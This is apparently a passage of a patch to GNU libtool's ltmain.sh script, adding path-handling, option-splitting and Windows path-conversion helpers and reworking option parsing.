+ : ${SHELL="${CONFIG_SHELL-/bin/sh}"}
+ : ${Xsed="$SED -e 1s/^X//"}
+
+@@ -169,6 +164,27 @@ IFS=" $lt_nl"
+ dirname="s,/[^/]*$,,"
+ basename="s,^.*/,,"
+
++# func_dirname file append nondir_replacement
++# Compute the dirname of FILE. If nonempty, add APPEND to the result,
++# otherwise set result to NONDIR_REPLACEMENT.
++func_dirname ()
++{
++ func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
++ if test "X$func_dirname_result" = "X${1}"; then
++ func_dirname_result="${3}"
++ else
++ func_dirname_result="$func_dirname_result${2}"
++ fi
++} # func_dirname may be replaced by extended shell implementation
++
++
++# func_basename file
++func_basename ()
++{
++ func_basename_result=`$ECHO "${1}" | $SED "$basename"`
++} # func_basename may be replaced by extended shell implementation
++
++
+ # func_dirname_and_basename file append nondir_replacement
+ # perform func_basename and func_dirname in a single function
+ # call:
+@@ -183,17 +199,31 @@ basename="s,^.*/,,"
+ # those functions but instead duplicate the functionality here.
+ func_dirname_and_basename ()
+ {
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+- func_basename_result=`$ECHO "${1}" | $SED -e "$basename"`
+-}
++ # Extract subdirectory from the argument.
++ func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"`
++ if test "X$func_dirname_result" = "X${1}"; then
++ func_dirname_result="${3}"
++ else
++ func_dirname_result="$func_dirname_result${2}"
++ fi
++ func_basename_result=`$ECHO "${1}" | $SED -e "$basename"`
++} # func_dirname_and_basename may be replaced by extended shell implementation
++
++
++# func_stripname prefix suffix name
++# strip PREFIX and SUFFIX off of NAME.
++# PREFIX and SUFFIX must not contain globbing or regex special
++# characters, hashes, percent signs, but SUFFIX may contain a leading
++# dot (in which case that matches only a dot).
++# func_strip_suffix prefix name
++func_stripname ()
++{
++ case ${2} in
++ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
++ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
++ esac
++} # func_stripname may be replaced by extended shell implementation
+
+-# Generated shell functions inserted here.
+
+ # These SED scripts presuppose an absolute path with a trailing slash.
+ pathcar='s,^/\([^/]*\).*$,\1,'
+@@ -376,6 +406,15 @@ sed_quote_subst='s/\([`"$\\]\)/\\\1/g'
+ # Same as above, but do not quote variable references.
+ double_quote_subst='s/\(["`\\]\)/\\\1/g'
+
++# Sed substitution that turns a string into a regex matching for the
++# string literally.
++sed_make_literal_regex='s,[].[^$\\*\/],\\&,g'
++
++# Sed substitution that converts a w32 file name or path
++# which contains forward slashes, into one that contains
++# (escaped) backslashes. A very naive implementation.
++lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
++
+ # Re-`\' parameter expansions in output of double_quote_subst that were
+ # `\'-ed in input to the same. If an odd number of `\' preceded a '$'
+ # in input to double_quote_subst, that '$' was protected from expansion.
+@@ -404,7 +443,7 @@ opt_warning=:
+ # name if it has been set yet.
+ func_echo ()
+ {
+- $ECHO "$progname${mode+: }$mode: $*"
++ $ECHO "$progname: ${opt_mode+$opt_mode: }$*"
+ }
+
+ # func_verbose arg...
+@@ -430,14 +469,14 @@ func_echo_all ()
+ # Echo program name prefixed message to standard error.
+ func_error ()
+ {
+- $ECHO "$progname${mode+: }$mode: "${1+"$@"} 1>&2
++ $ECHO "$progname: ${opt_mode+$opt_mode: }"${1+"$@"} 1>&2
+ }
+
+ # func_warning arg...
+ # Echo program name prefixed warning message to standard error.
+ func_warning ()
+ {
+- $opt_warning && $ECHO "$progname${mode+: }$mode: warning: "${1+"$@"} 1>&2
++ $opt_warning && $ECHO "$progname: ${opt_mode+$opt_mode: }warning: "${1+"$@"} 1>&2
+
+ # bash bug again:
+ :
+@@ -656,19 +695,35 @@ func_show_eval_locale ()
+ fi
+ }
+
+-
+-
++# func_tr_sh
++# Turn $1 into a string suitable for a shell variable name.
++# Result is stored in $func_tr_sh_result. All characters
++# not in the set a-zA-Z0-9_ are replaced with '_'. Further,
++# if $1 begins with a digit, a '_' is prepended as well.
++func_tr_sh ()
++{
++ case $1 in
++ [0-9]* | *[!a-zA-Z0-9_]*)
++ func_tr_sh_result=`$ECHO "$1" | $SED 's/^\([0-9]\)/_\1/; s/[^a-zA-Z0-9_]/_/g'`
++ ;;
++ * )
++ func_tr_sh_result=$1
++ ;;
++ esac
++}
+
+
+ # func_version
+ # Echo version message to standard output and exit.
+ func_version ()
+ {
++ $opt_debug
++
+ $SED -n '/(C)/!b go
+ :more
+ /\./!{
+ N
+- s/\n# //
++ s/\n# / /
+ b more
+ }
+ :go
+@@ -685,7 +740,9 @@ func_version ()
+ # Echo short help message to standard output and exit.
+ func_usage ()
+ {
+- $SED -n '/^# Usage:/,/^# *-h/ {
++ $opt_debug
++
++ $SED -n '/^# Usage:/,/^# *.*--help/ {
+ s/^# //
+ s/^# *$//
+ s/\$progname/'$progname'/
+@@ -701,7 +758,10 @@ func_usage ()
+ # unless 'noexit' is passed as argument.
+ func_help ()
+ {
++ $opt_debug
++
+ $SED -n '/^# Usage:/,/# Report bugs to/ {
++ :print
+ s/^# //
+ s/^# *$//
+ s*\$progname*'$progname'*
+@@ -714,7 +774,11 @@ func_help ()
+ s/\$automake_version/'"`(automake --version) 2>/dev/null |$SED 1q`"'/
+ s/\$autoconf_version/'"`(autoconf --version) 2>/dev/null |$SED 1q`"'/
+ p
+- }' < "$progpath"
++ d
++ }
++ /^# .* home page:/b print
++ /^# General help using/b print
++ ' < "$progpath"
+ ret=$?
+ if test -z "$1"; then
+ exit $ret
+@@ -726,12 +790,39 @@ func_help ()
+ # exit_cmd.
+ func_missing_arg ()
+ {
+- func_error "missing argument for $1"
++ $opt_debug
++
++ func_error "missing argument for $1."
+ exit_cmd=exit
+ }
+
+-exit_cmd=:
+
++# func_split_short_opt shortopt
++# Set func_split_short_opt_name and func_split_short_opt_arg shell
++# variables after splitting SHORTOPT after the 2nd character.
++func_split_short_opt ()
++{
++ my_sed_short_opt='1s/^\(..\).*$/\1/;q'
++ my_sed_short_rest='1s/^..\(.*\)$/\1/;q'
++
++ func_split_short_opt_name=`$ECHO "$1" | $SED "$my_sed_short_opt"`
++ func_split_short_opt_arg=`$ECHO "$1" | $SED "$my_sed_short_rest"`
++} # func_split_short_opt may be replaced by extended shell implementation
++
++
++# func_split_long_opt longopt
++# Set func_split_long_opt_name and func_split_long_opt_arg shell
++# variables after splitting LONGOPT at the `=' sign.
++func_split_long_opt ()
++{
++ my_sed_long_opt='1s/^\(--[^=]*\)=.*/\1/;q'
++ my_sed_long_arg='1s/^--[^=]*=//'
++
++ func_split_long_opt_name=`$ECHO "$1" | $SED "$my_sed_long_opt"`
++ func_split_long_opt_arg=`$ECHO "$1" | $SED "$my_sed_long_arg"`
++} # func_split_long_opt may be replaced by extended shell implementation
++
++exit_cmd=:
+
+
+
+@@ -741,26 +832,64 @@ magic="%%%MAGIC variable%%%"
+ magic_exe="%%%MAGIC EXE variable%%%"
+
+ # Global variables.
+-# $mode is unset
+ nonopt=
+-execute_dlfiles=
+ preserve_args=
+ lo2o="s/\\.lo\$/.${objext}/"
+ o2lo="s/\\.${objext}\$/.lo/"
+ extracted_archives=
+ extracted_serial=0
+
+-opt_dry_run=false
+-opt_finish=:
+-opt_duplicate_deps=false
+-opt_silent=false
+-opt_debug=:
+-
+ # If this variable is set in any of the actions, the command in it
+ # will be execed at the end. This prevents here-documents from being
+ # left over by shells.
+ exec_cmd=
+
++# func_append var value
++# Append VALUE to the end of shell variable VAR.
++func_append ()
++{
++ eval "${1}=\$${1}\${2}"
++} # func_append may be replaced by extended shell implementation
++
++# func_append_quoted var value
++# Quote VALUE and append to the end of shell variable VAR, separated
++# by a space.
++func_append_quoted ()
++{
++ func_quote_for_eval "${2}"
++ eval "${1}=\$${1}\\ \$func_quote_for_eval_result"
++} # func_append_quoted may be replaced by extended shell implementation
++
++
++# func_arith arithmetic-term...
++func_arith ()
++{
++ func_arith_result=`expr "${@}"`
++} # func_arith may be replaced by extended shell implementation
++
++
++# func_len string
++# STRING may not start with a hyphen.
++func_len ()
++{
++ func_len_result=`expr "${1}" : ".*" 2>/dev/null || echo $max_cmd_len`
++} # func_len may be replaced by extended shell implementation
++
++
++# func_lo2o object
++func_lo2o ()
++{
++ func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
++} # func_lo2o may be replaced by extended shell implementation
++
++
++# func_xform libobj-or-source
++func_xform ()
++{
++ func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
++} # func_xform may be replaced by extended shell implementation
++
++
+ # func_fatal_configuration arg...
+ # Echo program name prefixed message to standard error, followed by
+ # a configuration failure hint, and exit.
+@@ -850,130 +979,204 @@ func_enable_tag ()
+ esac
+ }
+
+-# Parse options once, thoroughly. This comes as soon as possible in
+-# the script to make things like `libtool --version' happen quickly.
++# func_check_version_match
++# Ensure that we are using m4 macros, and libtool script from the same
++# release of libtool.
++func_check_version_match ()
+ {
++ if test "$package_revision" != "$macro_revision"; then
++ if test "$VERSION" != "$macro_version"; then
++ if test -z "$macro_version"; then
++ cat >&2 <<_LT_EOF
++$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
++$progname: definition of this LT_INIT comes from an older release.
++$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
++$progname: and run autoconf again.
++_LT_EOF
++ else
++ cat >&2 <<_LT_EOF
++$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
++$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
++$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
++$progname: and run autoconf again.
++_LT_EOF
++ fi
++ else
++ cat >&2 <<_LT_EOF
++$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision,
++$progname: but the definition of this LT_INIT comes from revision $macro_revision.
++$progname: You should recreate aclocal.m4 with macros from revision $package_revision
++$progname: of $PACKAGE $VERSION and run autoconf again.
++_LT_EOF
++ fi
+
+- # Shorthand for --mode=foo, only valid as the first argument
+- case $1 in
+- clean|clea|cle|cl)
+- shift; set dummy --mode clean ${1+"$@"}; shift
+- ;;
+- compile|compil|compi|comp|com|co|c)
+- shift; set dummy --mode compile ${1+"$@"}; shift
+- ;;
+- execute|execut|execu|exec|exe|ex|e)
+- shift; set dummy --mode execute ${1+"$@"}; shift
+- ;;
+- finish|finis|fini|fin|fi|f)
+- shift; set dummy --mode finish ${1+"$@"}; shift
+- ;;
+- install|instal|insta|inst|ins|in|i)
+- shift; set dummy --mode install ${1+"$@"}; shift
+- ;;
+- link|lin|li|l)
+- shift; set dummy --mode link ${1+"$@"}; shift
+- ;;
+- uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
+- shift; set dummy --mode uninstall ${1+"$@"}; shift
+- ;;
+- esac
++ exit $EXIT_MISMATCH
++ fi
++}
++
++
++# Shorthand for --mode=foo, only valid as the first argument
++case $1 in
++clean|clea|cle|cl)
++ shift; set dummy --mode clean ${1+"$@"}; shift
++ ;;
++compile|compil|compi|comp|com|co|c)
++ shift; set dummy --mode compile ${1+"$@"}; shift
++ ;;
++execute|execut|execu|exec|exe|ex|e)
++ shift; set dummy --mode execute ${1+"$@"}; shift
++ ;;
++finish|finis|fini|fin|fi|f)
++ shift; set dummy --mode finish ${1+"$@"}; shift
++ ;;
++install|instal|insta|inst|ins|in|i)
++ shift; set dummy --mode install ${1+"$@"}; shift
++ ;;
++link|lin|li|l)
++ shift; set dummy --mode link ${1+"$@"}; shift
++ ;;
++uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
++ shift; set dummy --mode uninstall ${1+"$@"}; shift
++ ;;
++esac
+
+- # Parse non-mode specific arguments:
+- while test "$#" -gt 0; do
++
++
++# Option defaults:
++opt_debug=:
++opt_dry_run=false
++opt_config=false
++opt_preserve_dup_deps=false
++opt_features=false
++opt_finish=false
++opt_help=false
++opt_help_all=false
++opt_silent=:
++opt_verbose=:
++opt_silent=false
++opt_verbose=false
++
++
++# Parse options once, thoroughly. This comes as soon as possible in the
++# script to make things like `--version' happen as quickly as we can.
++{
++ # this just eases exit handling
++ while test $# -gt 0; do
+ opt="$1"
+ shift
+-
+ case $opt in
+- --config) func_config ;;
+-
+- --debug) preserve_args="$preserve_args $opt"
++ --debug|-x) opt_debug='set -x'
+ func_echo "enabling shell trace mode"
+- opt_debug='set -x'
+ $opt_debug
+ ;;
+-
+- -dlopen) test "$#" -eq 0 && func_missing_arg "$opt" && break
+- execute_dlfiles="$execute_dlfiles $1"
+- shift
++ --dry-run|--dryrun|-n)
++ opt_dry_run=:
+ ;;
+-
+- --dry-run | -n) opt_dry_run=: ;;
+- --features) func_features ;;
+- --finish) mode="finish" ;;
+- --no-finish) opt_finish=false ;;
+-
+- --mode) test "$#" -eq 0 && func_missing_arg "$opt" && break
+- case $1 in
+- # Valid mode arguments:
+- clean) ;;
+- compile) ;;
+- execute) ;;
+- finish) ;;
+- install) ;;
+- link) ;;
+- relink) ;;
+- uninstall) ;;
+-
+- # Catch anything else as an error
+- *) func_error "invalid argument for $opt"
+- exit_cmd=exit
+- break
+- ;;
+- esac
+-
+- mode="$1"
++ --config)
++ opt_config=:
++func_config
++ ;;
++ --dlopen|-dlopen)
++ optarg="$1"
++ opt_dlopen="${opt_dlopen+$opt_dlopen
++}$optarg"
+ shift
+ ;;
+-
+ --preserve-dup-deps)
+- opt_duplicate_deps=: ;;
+-
+- --quiet|--silent) preserve_args="$preserve_args $opt"
+- opt_silent=:
+- opt_verbose=false
++ opt_preserve_dup_deps=:
+ ;;
+-
+- --no-quiet|--no-silent)
+- preserve_args="$preserve_args $opt"
+- opt_silent=false
++ --features)
++ opt_features=:
++func_features
+ ;;
+-
+- --verbose| -v) preserve_args="$preserve_args $opt"
++ --finish)
++ opt_finish=:
++set dummy --mode finish ${1+"$@"}; shift
++ ;;
++ --help)
++ opt_help=:
++ ;;
++ --help-all)
++ opt_help_all=:
++opt_help=': help-all'
++ ;;
++ --mode)
++ test $# = 0 && func_missing_arg $opt && break
++ optarg="$1"
++ opt_mode="$optarg"
++case $optarg in
++ # Valid mode arguments:
++ clean|compile|execute|finish|install|link|relink|uninstall) ;;
++
++ # Catch anything else as an error
++ *) func_error "invalid argument for $opt"
++ exit_cmd=exit
++ break
++ ;;
++esac
++ shift
++ ;;
++ --no-silent|--no-quiet)
+ opt_silent=false
+- opt_verbose=:
++func_append preserve_args " $opt"
+ ;;
+-
+- --no-verbose) preserve_args="$preserve_args $opt"
++ --no-verbose)
+ opt_verbose=false
++func_append preserve_args " $opt"
+ ;;
+-
+- --tag) test "$#" -eq 0 && func_missing_arg "$opt" && break
+- preserve_args="$preserve_args $opt $1"
+- func_enable_tag "$1" # tagname is set here
++ --silent|--quiet)
++ opt_silent=:
++func_append preserve_args " $opt"
++ opt_verbose=false
++ ;;
++ --verbose|-v)
++ opt_verbose=:
++func_append preserve_args " $opt"
++opt_silent=false
++ ;;
++ --tag)
++ test $# = 0 && func_missing_arg $opt && break
++ optarg="$1"
++ opt_tag="$optarg"
++func_append preserve_args " $opt $optarg"
++func_enable_tag "$optarg"
+ shift
+ ;;
+
++ -\?|-h) func_usage ;;
++ --help) func_help ;;
++ --version) func_version ;;
++
+ # Separate optargs to long options:
+- -dlopen=*|--mode=*|--tag=*)
+- func_opt_split "$opt"
+- set dummy "$func_opt_split_opt" "$func_opt_split_arg" ${1+"$@"}
++ --*=*)
++ func_split_long_opt "$opt"
++ set dummy "$func_split_long_opt_name" "$func_split_long_opt_arg" ${1+"$@"}
+ shift
+ ;;
+
+- -\?|-h) func_usage ;;
+- --help) opt_help=: ;;
+- --help-all) opt_help=': help-all' ;;
+- --version) func_version ;;
+-
+- -*) func_fatal_help "unrecognized option \`$opt'" ;;
+-
+- *) nonopt="$opt"
+- break
++ # Separate non-argument short options:
++ -\?*|-h*|-n*|-v*)
++ func_split_short_opt "$opt"
++ set dummy "$func_split_short_opt_name" "-$func_split_short_opt_arg" ${1+"$@"}
++ shift
+ ;;
++
++ --) break ;;
++ -*) func_fatal_help "unrecognized option \`$opt'" ;;
++ *) set dummy "$opt" ${1+"$@"}; shift; break ;;
+ esac
+ done
+
++ # Validate options:
++
++ # save first non-option argument
++ if test "$#" -gt 0; then
++ nonopt="$opt"
++ shift
++ fi
++
++ # preserve --debug
++ test "$opt_debug" = : || func_append preserve_args " --debug"
+
+ case $host in
+ *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* )
+@@ -981,82 +1184,44 @@ func_enable_tag ()
+ opt_duplicate_compiler_generated_deps=:
+ ;;
+ *)
+- opt_duplicate_compiler_generated_deps=$opt_duplicate_deps
++ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
+ ;;
+ esac
+
+- # Having warned about all mis-specified options, bail out if
+- # anything was wrong.
+- $exit_cmd $EXIT_FAILURE
+-}
++ $opt_help || {
++ # Sanity checks first:
++ func_check_version_match
+
+-# func_check_version_match
+-# Ensure that we are using m4 macros, and libtool script from the same
+-# release of libtool.
+-func_check_version_match ()
+-{
+- if test "$package_revision" != "$macro_revision"; then
+- if test "$VERSION" != "$macro_version"; then
+- if test -z "$macro_version"; then
+- cat >&2 <<_LT_EOF
+-$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
+-$progname: definition of this LT_INIT comes from an older release.
+-$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
+-$progname: and run autoconf again.
+-_LT_EOF
+- else
+- cat >&2 <<_LT_EOF
+-$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
+-$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
+-$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
+-$progname: and run autoconf again.
+-_LT_EOF
+- fi
+- else
+- cat >&2 <<_LT_EOF
+-$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision,
+-$progname: but the definition of this LT_INIT comes from revision $macro_revision.
+-$progname: You should recreate aclocal.m4 with macros from revision $package_revision
+-$progname: of $PACKAGE $VERSION and run autoconf again.
+-_LT_EOF
++ if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
++ func_fatal_configuration "not configured to build any kind of library"
+ fi
+
+- exit $EXIT_MISMATCH
+- fi
+-}
+-
++ # Darwin sucks
++ eval std_shrext=\"$shrext_cmds\"
+
+-## ----------- ##
+-## Main. ##
+-## ----------- ##
+-
+-$opt_help || {
+- # Sanity checks first:
+- func_check_version_match
+-
+- if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then
+- func_fatal_configuration "not configured to build any kind of library"
+- fi
++ # Only execute mode is allowed to have -dlopen flags.
++ if test -n "$opt_dlopen" && test "$opt_mode" != execute; then
++ func_error "unrecognized option \`-dlopen'"
++ $ECHO "$help" 1>&2
++ exit $EXIT_FAILURE
++ fi
+
+- test -z "$mode" && func_fatal_error "error: you must specify a MODE."
++ # Change the help message to a mode-specific one.
++ generic_help="$help"
++ help="Try \`$progname --help --mode=$opt_mode' for more information."
++ }
+
+
+- # Darwin sucks
+- eval "std_shrext=\"$shrext_cmds\""
++ # Bail if the options were screwed
++ $exit_cmd $EXIT_FAILURE
++}
+
+
+- # Only execute mode is allowed to have -dlopen flags.
+- if test -n "$execute_dlfiles" && test "$mode" != execute; then
+- func_error "unrecognized option \`-dlopen'"
+- $ECHO "$help" 1>&2
+- exit $EXIT_FAILURE
+- fi
+
+- # Change the help message to a mode-specific one.
+- generic_help="$help"
+- help="Try \`$progname --help --mode=$mode' for more information."
+-}
+
++## ----------- ##
++## Main. ##
++## ----------- ##
+
+ # func_lalib_p file
+ # True iff FILE is a libtool `.la' library or `.lo' object file.
+@@ -1121,12 +1286,9 @@ func_ltwrapper_executable_p ()
+ # temporary ltwrapper_script.
+ func_ltwrapper_scriptname ()
+ {
+- func_ltwrapper_scriptname_result=""
+- if func_ltwrapper_executable_p "$1"; then
+- func_dirname_and_basename "$1" "" "."
+- func_stripname '' '.exe' "$func_basename_result"
+- func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper"
+- fi
++ func_dirname_and_basename "$1" "" "."
++ func_stripname '' '.exe' "$func_basename_result"
++ func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper"
+ }
+
+ # func_ltwrapper_p file
+@@ -1149,7 +1311,7 @@ func_execute_cmds ()
+ save_ifs=$IFS; IFS='~'
+ for cmd in $1; do
+ IFS=$save_ifs
+- eval "cmd=\"$cmd\""
++ eval cmd=\"$cmd\"
+ func_show_eval "$cmd" "${2-:}"
+ done
+ IFS=$save_ifs
+@@ -1172,6 +1334,37 @@ func_source ()
+ }
+
+
++# func_resolve_sysroot PATH
++# Replace a leading = in PATH with a sysroot. Store the result into
++# func_resolve_sysroot_result
++func_resolve_sysroot ()
++{
++ func_resolve_sysroot_result=$1
++ case $func_resolve_sysroot_result in
++ =*)
++ func_stripname '=' '' "$func_resolve_sysroot_result"
++ func_resolve_sysroot_result=$lt_sysroot$func_stripname_result
++ ;;
++ esac
++}
++
++# func_replace_sysroot PATH
++# If PATH begins with the sysroot, replace it with = and
++# store the result into func_replace_sysroot_result.
++func_replace_sysroot ()
++{
++ case "$lt_sysroot:$1" in
++ ?*:"$lt_sysroot"*)
++ func_stripname "$lt_sysroot" '' "$1"
++ func_replace_sysroot_result="=$func_stripname_result"
++ ;;
++ *)
++ # Including no sysroot.
++ func_replace_sysroot_result=$1
++ ;;
++ esac
++}
++
+ # func_infer_tag arg
+ # Infer tagged configuration to use if any are available and
+ # if one wasn't chosen via the "--tag" command line option.
+@@ -1184,8 +1377,7 @@ func_infer_tag ()
+ if test -n "$available_tags" && test -z "$tagname"; then
+ CC_quoted=
+ for arg in $CC; do
+- func_quote_for_eval "$arg"
+- CC_quoted="$CC_quoted $func_quote_for_eval_result"
++ func_append_quoted CC_quoted "$arg"
+ done
+ CC_expanded=`func_echo_all $CC`
+ CC_quoted_expanded=`func_echo_all $CC_quoted`
+@@ -1204,8 +1396,7 @@ func_infer_tag ()
+ CC_quoted=
+ for arg in $CC; do
+ # Double-quote args containing other shell metacharacters.
+- func_quote_for_eval "$arg"
+- CC_quoted="$CC_quoted $func_quote_for_eval_result"
++ func_append_quoted CC_quoted "$arg"
+ done
+ CC_expanded=`func_echo_all $CC`
+ CC_quoted_expanded=`func_echo_all $CC_quoted`
+@@ -1274,6 +1465,486 @@ EOF
+ }
+ }
+
++
++##################################################
++# FILE NAME AND PATH CONVERSION HELPER FUNCTIONS #
++##################################################
++
++# func_convert_core_file_wine_to_w32 ARG
++# Helper function used by file name conversion functions when $build is *nix,
++# and $host is mingw, cygwin, or some other w32 environment. Relies on a
++# correctly configured wine environment available, with the winepath program
++# in $build's $PATH.
++#
++# ARG is the $build file name to be converted to w32 format.
++# Result is available in $func_convert_core_file_wine_to_w32_result, and will
++# be empty on error (or when ARG is empty)
++func_convert_core_file_wine_to_w32 ()
++{
++ $opt_debug
++ func_convert_core_file_wine_to_w32_result="$1"
++ if test -n "$1"; then
++ # Unfortunately, winepath does not exit with a non-zero error code, so we
++ # are forced to check the contents of stdout. On the other hand, if the
++ # command is not found, the shell will set an exit code of 127 and print
++ # *an error message* to stdout. So we must check for both error code of
++ # zero AND non-empty stdout, which explains the odd construction:
++ func_convert_core_file_wine_to_w32_tmp=`winepath -w "$1" 2>/dev/null`
++ if test "$?" -eq 0 && test -n "${func_convert_core_file_wine_to_w32_tmp}"; then
++ func_convert_core_file_wine_to_w32_result=`$ECHO "$func_convert_core_file_wine_to_w32_tmp" |
++ $SED -e "$lt_sed_naive_backslashify"`
++ else
++ func_convert_core_file_wine_to_w32_result=
++ fi
++ fi
++}
++# end: func_convert_core_file_wine_to_w32
++
++
++# func_convert_core_path_wine_to_w32 ARG
++# Helper function used by path conversion functions when $build is *nix, and
++# $host is mingw, cygwin, or some other w32 environment. Relies on a correctly
++# configured wine environment available, with the winepath program in $build's
++# $PATH. Assumes ARG has no leading or trailing path separator characters.
++#
++# ARG is path to be converted from $build format to win32.
++# Result is available in $func_convert_core_path_wine_to_w32_result.
++# Unconvertible file (directory) names in ARG are skipped; if no directory names
++# are convertible, then the result may be empty.
++func_convert_core_path_wine_to_w32 ()
++{
++ $opt_debug
++ # unfortunately, winepath doesn't convert paths, only file names
++ func_convert_core_path_wine_to_w32_result=""
++ if test -n "$1"; then
++ oldIFS=$IFS
++ IFS=:
++ for func_convert_core_path_wine_to_w32_f in $1; do
++ IFS=$oldIFS
++ func_convert_core_file_wine_to_w32 "$func_convert_core_path_wine_to_w32_f"
++ if test -n "$func_convert_core_file_wine_to_w32_result" ; then
++ if test -z "$func_convert_core_path_wine_to_w32_result"; then
++ func_convert_core_path_wine_to_w32_result="$func_convert_core_file_wine_to_w32_result"
++ else
++ func_append func_convert_core_path_wine_to_w32_result ";$func_convert_core_file_wine_to_w32_result"
++ fi
++ fi
++ done
++ IFS=$oldIFS
++ fi
++}
++# end: func_convert_core_path_wine_to_w32
++
++
++# func_cygpath ARGS...
++# Wrapper around calling the cygpath program via LT_CYGPATH. This is used when
++# when (1) $build is *nix and Cygwin is hosted via a wine environment; or (2)
++# $build is MSYS and $host is Cygwin, or (3) $build is Cygwin. In case (1) or
++# (2), returns the Cygwin file name or path in func_cygpath_result (input
++# file name or path is assumed to be in w32 format, as previously converted
++# from $build's *nix or MSYS format). In case (3), returns the w32 file name
++# or path in func_cygpath_result (input file name or path is assumed to be in
++# Cygwin format). Returns an empty string on error.
++#
++# ARGS are passed to cygpath, with the last one being the file name or path to
++# be converted.
++#
++# Specify the absolute *nix (or w32) name to cygpath in the LT_CYGPATH
++# environment variable; do not put it in $PATH.
++func_cygpath ()
++{
++ $opt_debug
++ if test -n "$LT_CYGPATH" && test -f "$LT_CYGPATH"; then
++ func_cygpath_result=`$LT_CYGPATH "$@" 2>/dev/null`
++ if test "$?" -ne 0; then
++ # on failure, ensure result is empty
++ func_cygpath_result=
++ fi
++ else
++ func_cygpath_result=
++ func_error "LT_CYGPATH is empty or specifies non-existent file: \`$LT_CYGPATH'"
++ fi
++}
++#end: func_cygpath
++
++
++# func_convert_core_msys_to_w32 ARG
++# Convert file name or path ARG from MSYS format to w32 format. Return
++# result in func_convert_core_msys_to_w32_result.
++func_convert_core_msys_to_w32 ()
++{
++ $opt_debug
++ # awkward: cmd appends spaces to result
++ func_convert_core_msys_to_w32_result=`( cmd //c echo "$1" ) 2>/dev/null |
++ $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
++}
++#end: func_convert_core_msys_to_w32
++
++
++# func_convert_file_check ARG1 ARG2
++# Verify that ARG1 (a file name in $build format) was converted to $host
++# format in ARG2. Otherwise, emit an error message, but continue (resetting
++# func_to_host_file_result to ARG1).
++func_convert_file_check ()
++{
++ $opt_debug
++ if test -z "$2" && test -n "$1" ; then
++ func_error "Could not determine host file name corresponding to"
++ func_error " \`$1'"
++ func_error "Continuing, but uninstalled executables may not work."
++ # Fallback:
++ func_to_host_file_result="$1"
++ fi
++}
++# end func_convert_file_check
++
++
++# func_convert_path_check FROM_PATHSEP TO_PATHSEP FROM_PATH TO_PATH
++# Verify that FROM_PATH (a path in $build format) was converted to $host
++# format in TO_PATH. Otherwise, emit an error message, but continue, resetting
++# func_to_host_file_result to a simplistic fallback value (see below).
++func_convert_path_check ()
++{
++ $opt_debug
++ if test -z "$4" && test -n "$3"; then
++ func_error "Could not determine the host path corresponding to"
++ func_error " \`$3'"
++ func_error "Continuing, but uninstalled executables may not work."
++ # Fallback. This is a deliberately simplistic "conversion" and
++ # should not be "improved". See libtool.info.
++ if test "x$1" != "x$2"; then
++ lt_replace_pathsep_chars="s|$1|$2|g"
++ func_to_host_path_result=`echo "$3" |
++ $SED -e "$lt_replace_pathsep_chars"`
++ else
++ func_to_host_path_result="$3"
++ fi
++ fi
++}
++# end func_convert_path_check
++
++
++# func_convert_path_front_back_pathsep FRONTPAT BACKPAT REPL ORIG
++# Modifies func_to_host_path_result by prepending REPL if ORIG matches FRONTPAT
++# and appending REPL if ORIG matches BACKPAT.
++func_convert_path_front_back_pathsep ()
++{
++ $opt_debug
++ case $4 in
++ $1 ) func_to_host_path_result="$3$func_to_host_path_result"
++ ;;
++ esac
++ case $4 in
++ $2 ) func_append func_to_host_path_result "$3"
++ ;;
++ esac
++}
++# end func_convert_path_front_back_pathsep
++
++
++##################################################
++# $build to $host FILE NAME CONVERSION FUNCTIONS #
++##################################################
++# invoked via `$to_host_file_cmd ARG'
++#
++# In each case, ARG is the path to be converted from $build to $host format.
++# Result will be available in $func_to_host_file_result.
++
++
++# func_to_host_file ARG
++# Converts the file name ARG from $build format to $host format. Return result
++# in func_to_host_file_result.
++func_to_host_file ()
++{
++ $opt_debug
++ $to_host_file_cmd "$1"
++}
++# end func_to_host_file
++
++
++# func_to_tool_file ARG LAZY
++# converts the file name ARG from $build format to toolchain format. Return
++# result in func_to_tool_file_result. If the conversion in use is listed
++# in (the comma separated) LAZY, no conversion takes place.
++func_to_tool_file ()
++{
++ $opt_debug
++ case ,$2, in
++ *,"$to_tool_file_cmd",*)
++ func_to_tool_file_result=$1
++ ;;
++ *)
++ $to_tool_file_cmd "$1"
++ func_to_tool_file_result=$func_to_host_file_result
++ ;;
++ esac
++}
++# end func_to_tool_file
++
++
++# func_convert_file_noop ARG
++# Copy ARG to func_to_host_file_result.
++func_convert_file_noop ()
++{
++ func_to_host_file_result="$1"
++}
